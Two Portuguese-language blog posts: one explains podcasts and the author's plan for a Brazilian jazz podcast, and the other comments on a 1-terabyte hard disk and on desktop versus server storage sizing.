Um podcast é um blog não-textual. Seu conteúdo pode ser audio e/ou vídeo, rodeado por metainformações do tipo “autor”, “entrevistado”, “banda”, “estilo”, “sumário” etc.

Como todo blog, ele tem regularidade: “episódios” no lugar de posts e assim por diante.

Você “assina” um podcast como assina uma revista, da mesma forma como assina um blog (via RSS ou ATOM). Mas como um browser é um leitor essencialmente textual, é mais comum e prático assinar podcasts usando softwares de mídia: iTunes, Yahoo! Music Engine, Amarok, etc.

Na convergência das coisas, um podcast pode ser comparado a um programa de rádio onde o próprio ouvinte decide quando e como vai ouvi-lo.

Num mundo onde tivermos banda larga no ar tão abundante e livre quanto ondas de rádio, além da memória para freqüências de estações, os rádios de nossos carros terão também a assinatura de nossos podcasts preferidos. Com ainda não chegamos a isso, temos que usar MP3 players modernos como o iPod – que tratam podcasts de forma especial – para termos essa funcionalidade.

E nesse mundo, os podcasters seremos você e eu, pessoas comuns falando diretamente para o mundo. Publicar um podcast é tão simples quanto publicar posts num blog. É inclusive algo que se pode integrar com plataformas de blogs comuns, com plugins para WordPress, etc.

Se você tem um fluxo de coisas para dizer, crie um podcast. Se você tem um fluxo de coisas para serem assistidas, crie um podcast. Se você tem um fluxo de coisas que quer que as pessoas ouçam, crie um podcast. Este último é o meu caso, sobre Jazz Brasileiro, e por isso estou juntando os pedaços e os módulos para criar um.

Andei estudando isso ultimamente, e achei importante compartilhar…

HD de 1 Terabyte, para quem ?

Vão anunciar o HD de 1 Terabyte.

Tempos atrás, fiz um estudo sobre clusters de alta disponibilidade e a certa altura levantei o sizing real de storage de aplicações de servidor. O resultado está aqui:

Sizing

Adicionando a essa lista, lembro quando a DBA de um grande e famoso supermercado online me chamou para mostrar que a RAM do servidor do DB (1.5GB) era maior que o próprio DB (1GB), que incluia lista de todos os produtos, todos os clientes, todos os carrinhos que já passaram por lá, e tabelas de controle.

Instalações oversized é algo muito comum hoje em dia porque arquitetos costumam usar sua sensibilidade de uso de desktop ao definir RAM, storage, CPU etc de um servidor.

Bem, saibam que desktop é uma das coisas que mais exige RAM, disco (em velocidade e tamanho) e CPU, porque é onde o usuário é mais sensível a atrasos no tempo de resposta (a famosa ampulheta), e tem sempre muita multimídia para aramazenar e tocar.

Aplicações de server são em geral muito mais leves, salvo algumas poucas exceções.

Um HD de 1 terabyte, hoje, faz muito mais sentido para uso pessoal do que em server. Mas é a tendência natural das coisas, e não vamos puxar o freio de mão para esse crescimento (e barateamento), não é mesmo !?